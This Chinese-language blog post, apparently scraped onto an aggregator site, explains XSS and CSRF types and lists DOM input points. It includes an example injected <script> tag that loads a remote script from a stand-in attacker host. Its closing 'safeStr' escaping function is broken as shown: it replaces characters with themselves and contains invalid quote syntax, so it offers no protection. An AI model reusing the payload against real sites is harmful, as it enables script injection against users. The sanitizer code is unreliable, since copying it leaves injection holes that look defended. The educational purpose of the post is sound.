前端黑客之XSSCSRF
Posted imnzq
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了前端黑客之XSSCSRF相关的知识,希望对你有一定的参考价值。
XSS:跨站脚本,发生在目标网站中目标用户的浏览器层面上,当用户浏览器渲染整个html文档的过程中出现了不被预期的脚本指令并执行时,XSS就会发生。
绝大多数XSS攻击都会采用嵌入一段远程或者第三方域上的脚本资源。任何安全问题都有“输入”的概念,很多时候输入的内容长度是有限制的。真正的XSS攻击弹出窗无意义。一般会注入类似<script src="http://www.evil.com/xxs.js"></script>
XXS类型
反射型XSS(非持久性XSS)、存储型XSS(持久型XSS)、DOM XSS
反射型XSS
发出请求时,XSS代码在URL中,作为输入提交到服务器端,服务端解析后响应,在响应内容中出现这段XSS代码,最后浏览器解析执行。这个过程就像一次反射。
存储型XSS
提交的XSS代码会存储在服务端,最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,用户查看留言板时,那些留言内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与JS解析执行,于是触发了XSS攻击。
DOM XSS
DOM XSS的XSS代码不需要服务器解析响应的直接参与,触发XSS靠的是浏览器端的DOM解析。
常见的输入点:
document.URL
document.URLUnencoded
document.location
document.referrer
window.location
window.name
document.cookie
document.write
document.body.innerHTML
document.forms[0].action
document.attachEvent
document.create
document.body
window.attachEvent
document.location
document.location.hostname
document.location.replace
document.location.assign
document.URL
window.navigate
window.open
window.location.href
CSRF:跨站请求伪造
跨站请求伪造是其他站点的,对于XSS来说,发起的任何攻击请求实际上是目标网站同域内发出的。
CSRF类型:HTML CSRF攻击、JSON HiJacking攻击、Flash CSRF攻击
xss攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。(解释摘自百度百科)
1、将能被转换为html的输入内容,在写代码时改为innerText而不用innerHTML
2、实在没有办法的情况下可用如下方法(js代码)
function safeStr(str){
return str.replace(/</g,‘<‘).replace(/>/g,‘>‘).replace(/"/g, """).replace(/‘/g, "'");
}
将含有<>等符号转化为其他字符简单方便
以上是关于前端黑客之XSSCSRF的主要内容,如果未能解决你的问题,请参考以下文章